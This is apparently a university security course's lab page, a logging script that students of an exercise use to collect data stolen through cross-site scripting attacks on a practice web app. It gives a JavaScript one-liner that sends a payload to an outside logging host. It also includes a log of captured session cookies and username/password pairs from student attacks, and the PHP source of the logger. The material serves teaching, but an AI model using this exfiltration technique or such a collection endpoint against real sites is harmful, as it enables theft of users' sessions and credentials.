You can use this server side script to extract data from client-side JavaScript. For example, clicking this client-side hyperlink will cause the server to log the payload:
(new Image()).src='https://css.csail.mit.edu/6.566/2026/labs/log.php?' + 'id=my-username' + '&payload=some-string' + '&random=' + Math.random();
The random argument is ignored, but ensures that the browser bypasses its cache when downloading the image. We suggest that you use the random argument in your scripts as well. The ID argument will help you distinguish your log entries from those sent by other students; we suggest picking your MIT Athena username. Newlines are not allowed in javascript: links; if this bothers you, try URL encoding.
If you just want to try out the script, you can use this form. (For your actual attacks in lab 4, you'll probably want to use the JavaScript image technique shown above.)
Below are the most recent logged entries, so that you can check if your attack worked:
Wed, 02 Sep 2026 18:34:21 +0000: safiullah: PyZoobarLogin=grader#f4dc48abff20adc2e481c60b8511d570cbcfe23fd55d7d2c293df803b4116c51 Wed, 02 Sep 2026 18:34:12 +0000: safiullah: PyZoobarLogin=grader#47f5c4e50986c4aa5de722e87cb193104150c80b088cf83e402798e391fee32b Wed, 02 Sep 2026 18:33:54 +0000: safiullah: PyZoobarLogin=grader#6b7793d1a211b00272434b86cebc6476f5949cbf82d0397f0efa1941c41753e6 Wed, 02 Sep 2026 18:32:37 +0000: safiullah-ex9: amy/amy Wed, 02 Sep 2026 18:31:54 +0000: safiullah-ex9: john/john Wed, 02 Sep 2026 18:25:26 +0000: safiullah-ex8: john/john Wed, 02 Sep 2026 18:19:21 +0000: safiullah: PyZoobarLogin=grader#71ae88eaecf508f937f43251c32d0c8520d2c318eb2aff5e7c02ed9de03530e2 Wed, 02 Sep 2026 18:19:12 +0000: safiullah: PyZoobarLogin=grader#a43686646cb09efeb8b54bc770c73a1ddddbd59194492a2d2c8228d4f948d9b6 Wed, 02 Sep 2026 18:18:51 +0000: safiullah: PyZoobarLogin=grader#eaf48888df0c5257349f9c441e2b3050d5a6da9425f2f99a66d5a37bb2a5b185 Wed, 02 Sep 2026 18:16:33 +0000: safiullah: PyZoobarLogin=grader#e2c24fdb255c550f5d7e89bebd41269b73adcbcbc154178535d7dbabe21b0df2 Wed, 02 Sep 2026 18:16:24 +0000: safiullah: PyZoobarLogin=grader#afe8b9be7955ff687db5192c15eee21d07bbbde9464c406d4de7df4a2e65d627 Wed, 02 Sep 2026 18:16:07 +0000: safiullah: PyZoobarLogin=grader#351c5d73453f58466261f7b28e8922ae4663d23346397516ce377ee12068792e Wed, 02 Sep 2026 18:14:52 +0000: safiullah-ex8: john/john Wed, 02 Sep 2026 18:09:47 +0000: safiullah: PyZoobarLogin=grader#7dbc645e6000b95c602a97126b0184e78ec9462b2eb2eb7cbe06b2937effb6de Wed, 02 Sep 2026 18:09:38 +0000: safiullah: PyZoobarLogin=grader#c3fc6c18d684da301640518ffe28aef94aa1d12142af75901b6f985f46796c04 Wed, 02 Sep 2026 18:09:17 +0000: safiullah: PyZoobarLogin=grader#33b91544636f2a8eecb254437e9b0e983363f140d9cc7594dea3b03f1328352b Wed, 02 Sep 2026 18:02:54 +0000: safiullah: PyZoobarLogin=grader#fb54a40059f05d42ebfc45e8a7875078a7ec16bb04c4e0c1edbfc6c5aaaedc49 Wed, 02 Sep 2026 18:02:44 +0000: safiullah: PyZoobarLogin=grader#5762763228e5af3457ae283089cf5522fec8cf29f90828637f2957c99c247ee9 Wed, 02 Sep 2026 18:02:21 +0000: safiullah: PyZoobarLogin=grader#0e138cec92ef859660e0242a75be4df6436b5f108074dd2d9368f96f5d6a7651 Wed, 02 Sep 2026 17:45:09 +0000: safiullah: PyZoobarLogin=grader#1f31309091a5f932177098e160ad86d2ea2fd753e280f1e2636f4aac99682162 Wed, 02 Sep 2026 17:42:10 +0000: safiullah: PyZoobarLogin=grader#0640fe742d6300e3ad4ce7b1be7b8a250f9fe89cdec8a560e8e745d18cfb567d Wed, 02 Sep 2026 17:41:43 +0000: safiullah: PyZoobarLogin=grader#4f03fa995c306d89b8e60cf56bedcb67741c75ee5ef6d0bfd8dc4df120d5c551 Wed, 02 Sep 2026 17:24:59 +0000: safiullah: PyZoobarLogin=grader#d25c59d7fd872b1fdd36580caac7e5f322ecdc0626a3c61a9eabcca5d1038122 Wed, 02 Sep 2026 17:23:00 +0000: safiullah: PyZoobarLogin=grader#22cedbfccd13704a59fa7deaf639825b63e0529ba2b2d0cd2a5bd1b040939b4c Wed, 02 Sep 2026 17:19:45 +0000: safiullah: PyZoobarLogin=grader#75ea88765d1b5124ef0906e5432a4d11b5f149ad59af15af0e4fa1a0b220ee1e Wed, 02 Sep 2026 17:18:49 +0000: safiullah: PyZoobarLogin=grader#1c75c9330824b4dc26e9e3842873fec2d8bf4d6d7234cca26192225ddd87a0a3 Wed, 02 Sep 2026 17:18:40 +0000: safiullah: PyZoobarLogin=grader#42bc887d5110f6daa612618136b18e4bf6932e10fdb2edbc5e81683b11f2455b Wed, 02 Sep 2026 17:18:21 +0000: safiullah: PyZoobarLogin=grader#49101912591d83629397865d3f0f4f8368ceb4411a4cf2b521204867f6e5d40e Wed, 02 Sep 2026 17:12:34 +0000: safiullah: PyZoobarLogin=amy#f7b63b29ef287bb6febf397cf66c1ada10bd9379cce2c760a9bd996ff3ac643e Wed, 02 Sep 2026 17:09:41 +0000: safiullah: PyZoobarLogin=amy#f7b63b29ef287bb6febf397cf66c1ada10bd9379cce2c760a9bd996ff3ac643e Wed, 02 Sep 2026 17:08:38 +0000: safiullah: PyZoobarLogin=amy#f7b63b29ef287bb6febf397cf66c1ada10bd9379cce2c760a9bd996ff3ac643e Wed, 02 Sep 2026 17:08:06 +0000: safiullah: PyZoobarLogin=amy#f7b63b29ef287bb6febf397cf66c1ada10bd9379cce2c760a9bd996ff3ac643e Wed, 02 Sep 2026 17:03:49 +0000: safiullah: PyZoobarLogin=amy#f7b63b29ef287bb6febf397cf66c1ada10bd9379cce2c760a9bd996ff3ac643e Wed, 02 Sep 2026 16:57:45 +0000: safiullah: PyZoobarLogin=amy#f7b63b29ef287bb6febf397cf66c1ada10bd9379cce2c760a9bd996ff3ac643e Wed, 02 Sep 2026 16:54:58 +0000: safiullah: PyZoobarLogin=amy#f7b63b29ef287bb6febf397cf66c1ada10bd9379cce2c760a9bd996ff3ac643e Wed, 02 Sep 2026 16:47:00 +0000: safiullah: PyZoobarLogin=amy#f7b63b29ef287bb6febf397cf66c1ada10bd9379cce2c760a9bd996ff3ac643e Wed, 02 Sep 2026 16:39:39 +0000: safiullah: PyZoobarLogin=grader#aa79bc2a6b47daa52d2f42142295a03f39ca24b1536bcba822a0cbf1cd60cb27 Wed, 02 Sep 2026 16:39:20 +0000: safiullah: PyZoobarLogin=grader#b65a7c3e003f31433e6a0feff87cff0fa2d36b6b42d6bc8b5d800bd2be65e34e Wed, 02 Sep 2026 16:38:01 +0000: safiullah: PyZoobarLogin=amy#7ba30442bc845aec7a04b124e83533bbc7601fc9de1f6c1b5e6f568e276690ba Wed, 02 Sep 2026 14:56:27 +0000: safiullah: PyZoobarLogin=grader#867a2e7e7baea59b6f7194e4a757f5a1b0cfbcfc538b119283fb4eaaa8fc462e Wed, 02 Sep 2026 14:54:22 +0000: safiullah: PyZoobarLogin=grader#27d7bc8f09c4678d223b45e0c18378ea45068d26d24572a8619c1d219f9193f9 Wed, 02 Sep 2026 14:51:15 +0000: safiullah: PyZoobarLogin=grader#4f7fcde8b96547c579e9dd40fd91997f77585c1668405758631fdddf8c11754f Wed, 02 Sep 2026 14:38:30 +0000: safiullah: PyZoobarLogin=grader#e8a90a05657b992a5f06fe13de98d145aba9a5447b25aa9cff655cc406af6745 Wed, 02 Sep 2026 14:21:09 +0000: safiullah: PyZoobarLogin=amy#9d5c321d62a4c415b9c756bd74d18485a371a8cb6af9d99721ff54dd9bbeb015 Wed, 02 Sep 2026 13:27:28 +0000: safiullah: PyZoobarLogin=grader#5db377fea15a437ed90e60b546cb0b648866c505a9e71abb5c5d7b0b4e0a387b Wed, 02 Sep 2026 04:48:42 +0000: safiullah: PyZoobarLogin=grader#698371d24afc18173eb51a746720e7c179dbfb71ccbb140e38978516164a185c Wed, 02 Sep 2026 04:32:52 +0000: safiullah: PyZoobarLogin=amy#f3c2f97fda7775d6b430b441f2a8c817bb621621e48eec01e4efe4015948e1bd Wed, 02 Sep 2026 04:30:59 +0000: safiullah: PyZoobarLogin=amy#f3c2f97fda7775d6b430b441f2a8c817bb621621e48eec01e4efe4015948e1bd Wed, 02 Sep 2026 04:05:12 +0000: safiullah: 123 Wed, 02 Sep 2026 04:04:55 +0000: safiullah: 123 Sat, 29 Aug 2026 18:42:33 +0000: abc: grader/NPNKSVNPHCPI Sat, 29 Aug 2026 18:42:20 +0000: abc: grader/XOIYDBNRSPBO Sat, 29 Aug 2026 18:42:12 +0000: abc: grader/BFAZUBYJZUUG Sat, 29 Aug 2026 18:41:46 +0000: abc: PyZoobarLogin=grader#af85b6e4ee923ec48c6d1e3db8668c3d9b462636663efcc8fd570179fab18742 Sat, 29 Aug 2026 18:41:38 +0000: abc: PyZoobarLogin=grader#dfa6aa304f1ec54b33d30187c9f08158ae873ba59a6ef1a808aa62bafc684867 Sat, 29 Aug 2026 18:41:22 +0000: abc: PyZoobarLogin=grader#e4f62ef5d423f30944bf78c0bfd8974922933d82c31ed401c0f0397b8393dd2a Sat, 29 Aug 2026 18:38:16 +0000: abc: PyZoobarLogin=grader#31c8fa4dbee608b4e55784f61c14bd1ecaa1463d134204af1250aad932574be3 Sat, 29 Aug 2026 18:38:09 +0000: abc: PyZoobarLogin=grader#29cfdbe0e6fabaa26e49c860e3699745d79ed6563de444b922bbf6bf1a6b7187 Sat, 29 Aug 2026 18:37:55 +0000: abc: PyZoobarLogin=grader#e46ca177339ff87f88c85f098905ada1bf6a8edf52bbd741b15a09b642e9a2c4 Sat, 29 Aug 2026 18:36:15 +0000: abc: PyZoobarLogin=grader#b0021c9be8e6adcbd2ff242ae3d357cf006e65275738f4e803c029aa641da263 Sat, 29 Aug 2026 18:36:08 +0000: abc: PyZoobarLogin=grader#54947778aac5568a8ff27920ec4151ca6f4e38fd61782a6d2fbf257bbf1e2900 Sat, 29 Aug 2026 18:35:53 +0000: abc: PyZoobarLogin=grader#9a9998a8cc1d16c16663c99b747e6ef78d952f7e878bd323fc61596c5cecbdaf Fri, 31 Jul 2026 09:31:49 +0000: dmx: 123 Fri, 31 Jul 2026 09:31:20 +0000: dmx: 123 Fri, 31 Jul 2026 09:21:41 +0000: dmx: NBUYWNDLMCYK Fri, 31 Jul 2026 08:33:23 +0000: dmx: 123 Thu, 30 Jul 2026 14:28:04 +0000: dmx: grader/UTYWHHLRXBLY Thu, 30 Jul 2026 14:27:52 +0000: dmx: grader/JAOWNVACRKKV Thu, 30 Jul 2026 14:27:20 +0000: dmx: PyZoobarLogin=grader#0d1ba725cab15d8d205f1086f233fa4e9a09a5c294d828bb939fb20eab1c4858 Thu, 30 Jul 2026 14:27:08 +0000: dmx: PyZoobarLogin=grader#171bd3690823973e110660827f501264816281590f7f76c3782ec79435706959 Thu, 30 Jul 2026 14:26:57 +0000: dmx: PyZoobarLogin=grader#fdcc5c4df28b814b810e0beef2e6545a72a863dfe7b539435114be2315d4b310 Thu, 30 Jul 2026 14:26:44 +0000: dmx: PyZoobarLogin=grader#485197bfedfa54b4fb1104fee94378050dfd6c377be11d8d46b4d44811ec6b31 Thu, 30 Jul 2026 14:02:00 +0000: dmx: grader/IHIPVVFZISKY Thu, 30 Jul 2026 14:01:47 +0000: dmx: grader/MFWIUIEEWCXL Thu, 30 Jul 2026 14:01:03 +0000: dmx: PyZoobarLogin=grader#9e0b37b5cfb3fdb857edcf771355ac75d5a76ad326d97b4d2429406770c3756d Thu, 30 Jul 2026 13:55:42 +0000: dmx: grader/HUVPRPFKVOIN Thu, 30 Jul 2026 13:55:01 +0000: dmx: grader/TUBQHYQWJPVM Thu, 30 Jul 2026 13:54:33 +0000: dmx: grader/HVVRQCXTGQXO Thu, 30 Jul 2026 13:28:22 +0000: s: sss Thu, 30 Jul 2026 13:28:00 +0000: dmx: 123/123 Thu, 30 Jul 2026 13:26:16 +0000: dmx: 123/123 Thu, 30 Jul 2026 09:17:50 +0000: dmx: grader/ALTYJMCCSFSW Thu, 30 Jul 2026 08:03:43 +0000: dmx: PyZoobarLogin=123#04f1bbee50310a8524cd6144465aaab37cba492e21236044ea29715f4ab25f2c Thu, 30 Jul 2026 08:01:55 +0000: dmx: PyZoobarLogin=123#04f1bbee50310a8524cd6144465aaab37cba492e21236044ea29715f4ab25f2c Thu, 30 Jul 2026 08:01:47 +0000: dmx: PyZoobarLogin=123#04f1bbee50310a8524cd6144465aaab37cba492e21236044ea29715f4ab25f2c Thu, 30 Jul 2026 07:57:05 +0000: dmx: PyZoobarLogin=123#04f1bbee50310a8524cd6144465aaab37cba492e21236044ea29715f4ab25f2c Thu, 30 Jul 2026 07:46:27 +0000: dmx: PyZoobarLogin=123#04f1bbee50310a8524cd6144465aaab37cba492e21236044ea29715f4ab25f2c Thu, 30 Jul 2026 07:40:04 +0000: dmx: PyZoobarLogin=123#04f1bbee50310a8524cd6144465aaab37cba492e21236044ea29715f4ab25f2c Thu, 30 Jul 2026 07:16:41 +0000: dmx: PyZoobarLogin=123#04f1bbee50310a8524cd6144465aaab37cba492e21236044ea29715f4ab25f2c Thu, 30 Jul 2026 06:12:05 +0000: dmx: PyZoobarLogin=123#04f1bbee50310a8524cd6144465aaab37cba492e21236044ea29715f4ab25f2c Thu, 30 Jul 2026 06:11:51 +0000: dmx: PyZoobarLogin=123#2a5d05d08ea6da825264a7a2923fa8bf9ee7cfb7be0dbaf2f782099810d9fa11
In case you are curious, here is the source code of this page.
<?php header("Access-Control-Allow-Origin: *"); do { if (!array_key_exists("id", $_REQUEST)) { break; } $id = $_REQUEST['id']; if (strlen($id) > 1000) { header("HTTP/1.0 413 Payload Too Large"); echo "ID value is larger than 1000 bytes"; return; } if (!array_key_exists("payload", $_REQUEST)) { header("HTTP/1.0 400 Bad Request"); echo "No payload given"; return; } $payload = $_REQUEST['payload']; if (empty($payload)) { header("HTTP/1.0 400 Bad Request"); echo "Empty payload given"; return; } if (strlen($payload) > 1000) { header("HTTP/1.0 413 Payload Too Large"); echo "Payload is larger than 1000 bytes"; return; } if (!function_exists('apcu_add')) { header("HTTP/1.0 501 Not Implemented"); echo "APCu not enabled, so no rate limiting; refusing all requests"; return; } if (apcu_add($payload, true, 5) === false) { // exact same $payload was sent in the past 5 seconds header("HTTP/1.0 429 Too Many Requests"); echo "That exact payload was sent very recently; rejecting"; return; } $payload = str_replace(array("\n", "\r"), '.', $payload); $id = str_replace(array("\n", "\r"), '.', $id); $file = fopen("/tmp/6.566-2026-logger.txt", "c+"); if ($file === false) { header("HTTP/1.0 503 Service Unavailable"); echo "Failed to open log file"; return; } if (!flock($file, LOCK_EX)) { header("HTTP/1.0 503 Service Unavailable"); echo "Failed to lock log file"; return; } $lines = array(); while (!feof($file) && count($lines) < 100) { $lines[] = fgets($file); } ftruncate($file, 0); rewind($file); fwrite($file, date(DATE_RFC2822) . ": " . $id . ": " . $payload . "\n"); foreach ($lines as &$line) { fwrite($file, $line); } flock($file, LOCK_UN); fclose($file); echo "Logged!"; return; } while(0); $link = "(new Image()).src=" . "'https://css.csail.mit.edu/6.566/2026/labs/log.php?'" . " + 'id=my-username'" . " + '&payload=some-string' + '&random='" . " + Math.random()"; ?><!DOCTYPE html> <html> <head> <link rel="stylesheet" type="text/css" href="labs.css" /> <title>Lab 4 Logging Script</title> </head> <body> <h1>Lab 4 Logging Script</h1> <p> You can use this server side script to extract data from client-side JavaScript. For example, clicking this client-side hyperlink will cause the server to log the payload: </p> <pre class="tty"><a href="javascript:void(<?=$link;?>)"><?=$link;?>;</a></pre> <p> The random argument is ignored, but ensures that the browser bypasses its cache when downloading the image. We suggest that you use the random argument in your scripts as well. The ID argument will help you distinguish your log entries from those sent by other students; we suggest picking your MIT Athena username. Newlines are not allowed in <tt>javascript:</tt> links; if this bothers you, try <a href="https://meyerweb.com/eric/tools/dencoder/">URL encoding</a>. </p> <h2>Test form</h2> <p> If you just want to try out the script, you can use this form. (For your actual attacks in lab 4, you'll probably want to use the JavaScript image technique shown above.) </p> <form method="GET" action=""> <label for="id">ID:</label><br /> <input name="id" placeholder="your-mit-username" size="40" /> <i>(some identifier to locate your payload in the log)</i> <br /> <br /> <label for="payload">Payload:</label><br /> <input name="payload" placeholder="some-string" size="40" /> <i>(the information you stole)</i> <br /> <input type="submit" value="Log" name="log_submit" /> </form> <h2>Logged entries</h2> <p> Below are the most recent logged entries, so that you can check if your attack worked: </p> <pre class="tty"><?php $lines = file_get_contents("/tmp/6.566-2026-logger.txt"); echo htmlspecialchars($lines); ?></pre> <h2>Source code</h2> <p>In case you are curious, here is the source code of this page.</p> <pre><?php highlight_file(__FILE__); ?></pre> </body> </html>